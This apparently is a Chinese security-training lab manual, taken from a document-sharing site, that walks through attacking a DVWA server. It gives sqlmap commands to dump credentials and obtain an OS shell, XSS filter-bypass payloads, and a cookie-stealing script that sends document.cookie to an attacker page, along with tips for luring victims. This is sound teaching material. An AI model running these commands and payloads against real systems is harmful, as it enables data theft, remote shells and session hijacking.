利用Sqlmap对DVWA服务器进行SQL注入【实训步骤】2.利用Sqlmap获取用户登录信息(1)在KaliLinux主机中打开终端,执行命令“sqlmap-u‘/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#'--Cookie=‘security=low;PHPSESSID=gaqenatrtudmob23522r97jrt7'”。扫描结果非常详细,如图所示,结果的URL中的id参数存在SQL注入点。任务2
利用Sqlmap对DVWA服务器进行SQL注入【实训步骤】2.利用Sqlmap获取用户登录信息(2)使用Sqlmap的“--dbs”选项,可以根据所识别的不同数据库管理平台类型,来探测所包含的所有数据库名称,在终端中输入命令“sqlmap-u‘/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#'--Cookie=‘security=low;PHPSESSID=gaqenatrtudmob23522r97jrt7'--dbs”,除了发现MySQL默认的系统数据库information_schema之外,还有dvwa、mysql、performace_schema、test等数据库,如图所示。任务2
利用Sqlmap对DVWA服务器进行SQL注入【实训步骤】2.利用Sqlmap获取用户登录信息(3)在终端中输入命令“sqlmap-u‘/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#'--Cookie=‘security=low;PHPSESSID=gaqenatrtudmob23522r97jrt7'-Ddvwa--tables”,从而探测DVWA数据库中存在的表名,如图所示。任务2
利用Sqlmap对DVWA服务器进行SQL注入【实训步骤】2.利用Sqlmap获取用户登录信息(4)在终端中执行命令“sqlmap-u‘/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#'--Cookie=‘security=low;PHPSESSID=gaqenatrtudmob23522r97jrt7'-Ddvwa-Tusers--columns”,从而返回users表中的字段名,如图所示。任务2
利用Sqlmap对DVWA服务器进行SQL注入【实训步骤】2.利用Sqlmap获取用户登录信息(5)在终端中输入命令“sqlmap-u‘/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#'--Cookie=‘security=low;PHPSESSID=gaqenatrtudmob23522r97jrt7'-Ddvwa-Tuser-Cuser,password--dump”,从而探测user和password字段的内容,--dump选项是对MD5密文的破解,如图所示。任务2
利用Sqlmap对DVWA服务器进行SQL注入【实训步骤】3.利用Sqlmap获取一个交互的Shell利用Sqlmap的--os-shell选项取得Shell。大致的思想是将脚本插入数据库中,然后生成相应的代码文件,获取Shell即可执行命令。(1)获取网站的物理路径,此方法比较多,如查看phpinfo文件、访问错误路径、进行debug调试获取路径等。在浏览器中打开“/dvwa/phpinfo.php”,打开phpinfo文件,获取网站的物理路径,如图所示。任务2
利用Sqlmap对DVWA服务器进行SQL注入【实训步骤】3.利用Sqlmap获取一个交互的Shell(2)在终端中执行命令“sqlmap-u'/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#'--Cookie='security=low;PHPSESSID=gaqenatrtudmob23522r97jrt7'--os-shell”,Sqlmap默认是“ASP”,此处根据需求选择“PHP”语言,如图所示。任务2
利用Sqlmap对DVWA服务器进行SQL注入【实训步骤】3.利用Sqlmap获取一个交互的Shell(3)选择“选项2”指定路径,然后输入网站的绝对路径“c:/wamp/www/DVWA”。(4)建立os-shell,并执行命令查询IP地址,发现已经成功获得Shell,如图所示。实训3反射型XSS攻击与防御【实训目的】通过对本实训的学习,掌握反射型XSS攻击以及防御的措施。【场景描述】在虚拟机软件环境下配置一个WinXP3和两个Win7虚拟系统,使这3个系统之间能够相互通信。本实训在图所示的网络拓扑中实现。任务1
反射型XSS攻防的初步认识【实训步骤】(1)在Win7(攻击主机)中访问WinXP3主机的DVWA服务器,设置“DVWASecurity”为“Low”,然后打开XSS(Reflected),查看服务器核心源码,如图所示。可以看到,代码直接引用了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。任务1
反射型XSS攻防的初步认识【实训步骤】(2)利用漏洞。在文本框中输入“<script>alert('xss')</script>”,然后单击“Submit”按钮,成功弹出对话框,如图所示。(3)设置“DVWASecurity”为“Medium”,然后打开XSS(Reflected),查看服务器核心源码,如图所示。可以看到,这里对输入进行了过滤,使用str_replace()函数将输入中的“<script>”替换为空。任务1
反射型XSS攻防的初步认识【实训步骤】4.这种防护机制是基于黑名单的思想,可以被轻松绕过的。方法1:双写绕过。输入“<sc<script>ript>alert('xss')</script>”,成功弹出对话框。方法2:大小写混淆绕过。输入“<ScRipt>alert('xss')</script>”,成功弹出对话框。任务1
反射型XSS攻防的初步认识【实训步骤】(5)设置“DVWASecurity”为“High”,然后打开XSS(Reflected),查看服务器核心源码,如图所示。可以看到,High级别的代码同样使用黑名单过滤输入,preg_replace()函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过不再有效。任务1
反射型XSS攻防的初步认识【实训步骤】(6)虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件或者iframe等标签的src注入恶意的代码。这里在文本框中输入“<imgsrc=1onerror=alert(document.cookie)>”,这条语句表示在网页中插入一张图片,“src=1”指定了图片文件的URL,如果图片不存在(这里肯定是不存在了),那么将会弹出错误提示框,从而实现弹出对话框的效果。任务1
反射型XSS攻防的初步认识【实训步骤】(7)设置“DVWASecurity”为“Impossible”,然后打开XSS(Reflected),查看服务器核心源码,如图所示。可以看到,Impossible级别的代码使用htmlspecialchars()函数把预定义的敏感字符&、"、"、<、>都进行转义,防止浏览器将其作为HTML元素。所有的跨站语句基本都离不开这些符号,因而只需要这一个函数就阻止了XSS漏洞,所以XXS漏洞的代码防御还是比较简单的。任务1
反射型XSS攻防的初步认识【实训步骤】(7)设置“DVWASecurity”为“Impossible”,然后打开XSS(Reflected),查看服务器核心源码,如图所示。可以看到,Impossible级别的代码使用htmlspecialchars()函数把预定义的敏感字符&、"、"、<、>都进行转义,防止浏览器将其作为HTML元素。所有的跨站语句基本都离不开这些符号,因而只需要这一个函数就阻止了XSS漏洞,所以XXS漏洞的代码防御还是比较简单的。任务2
获取管理员权限攻击者利用反弹型XSS攻击,获取受害者的Cookie,从而使得自己从普通用户升级为管理员用户。因为这个实训是要获取受害者的Cookie,因此需要受害者在单击反射型URL的时候,受害者是以管理员的身份登录到DVWA系统中,而且是在同一个浏览器中进行这两个操作。【实训步骤】1.制作Cookie接收网页在Win7(攻击主机)的C:\wamp\www目录下新建一个文件xss_hacker.php,其内容如图所示,该文件的主要功能是接收客户端发送的Cookie信息,并保存到cookie.txt文本文件中。任务2
获取管理员权限【实训步骤】2.攻击者制作反射型攻击URL(1)在Win7(攻击主机)中,用Firefox浏览器打开WinXP3主机的DVWA服务器,以普通用户身份“gordonb”登录系统,其密码是“abc123”。(2)设置“DVWASecurity”为“Low”,然后打开XSS(Reflected),输入“<script>window.open("/xss_hacker.php?cookie="+document.cookie);</script>”,并单击“Submit”按钮,此时得到反射型XSS攻击URL“/DVWA/vulnerabilities/xss_r/?name=%3Cscript%3Ewindow.open%28%22http%3A%2F%2F%2Fxss_hacker.php%3Fcookie%3D%22%2Bdocument.cookie%29%3B%3C%2Fscript%3E#”,如图所示。(3)攻击者可以采取各种手段,包括群发E-mail、在各种论坛网站发布此攻击URL、做成诱人链接等,引诱受害者打开该反射型XSS攻击URL。任务2
获取管理员权限【实训步骤】3.受害者访问漏洞网站时中招(1)受害者在Win7(受害主机)中打开WinXP3的DVWA服务器,以管理员用户身份“admin”登录系统。(2)此时如果受害者收到攻击者发送过来的反射型XSS攻击URL,或者浏览黑客所伪造的钓鱼网站,并在同一个浏览器中打开该反射型XSS攻击URL,就会执行有关脚本,打开黑客指定的网页xss_hacker.php,把受害者自己的Cookie值发送给攻击者,攻击者主机把Cookie值保存到cookie.txt文件中,如图所示。任务2
获取管理员权限【实训步骤】4.安装EditThisCookie插件(1)下载EditThisCookie插件,把该CRX文件传输到Win7(攻击主机)。(2)在Win7(攻击主机)中打开Chrome浏览器,选择“更多工具”→“扩展程序”,直接拖曳插件进行安装。然后浏览器右上角多了一个曲奇饼的图标,如图所示。任务2
获取管理员权限【实训步骤】5.利用PHPSESSID获得管理员权限(1)在Win7(攻击主机)中用Chrome浏览器打开WinXP3的DVWA服务器,以普通用户身份“gordonb”登录系统。(2)利用EditThisCookie插件,修改“PHPSESSID”为cookie.txt文件中所记录的值,并提交,如图所示。(3)刷新页面,发现攻击者的登录用户已经变成“admin”,从而获得管理员权限,如图所示。实训4利用CSRF攻击修改管理员密码【实训目的】通过对本实训的学习,理解CSRF攻击的原理,掌握CSRF攻击的方法以及防御的措施。【场景描述】在虚拟机软件环境下配置一个WinXP3和两个Win7虚拟系统,使这3个系统之间能够相互通信,网络拓扑如图所示。任务1
“DVWASecurity”为“
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 人工智能在保险合规监督中的作用
- 人工智能在监管合规评估中的应用研究
- 人力资源副经理年度工作述职报告
- 保险AI算力安全认证
- 彩绘施工方案及施工方案
- 钢琴兴趣班教学计划
- 2026年集团资产管理办法
- 海边施工桩基施工方案
- 人教版小学六年级科学生态系统教案
- AI在智能营销中的应用探索
- 灰岩地区长大隧道机械化快速施工技术
- 《勾股定理》整章综合测试(一)338345
- (完整)注册安全工程师考试题库(含答案)
- GB/T 17880.6-1999铆螺母技术条件
- YY 0899-2020医用微波设备附件的通用要求
- JJF 1915-2021倾角仪校准规范
- GB/T 325-2000包装容器钢桶
- 执行-如何完成任务的学问课件
- 临床实践中的循证医学(课件新修)
- 特种作业人员安全操作规程
- 抢救病人现场记录单
评论
0/150
提交评论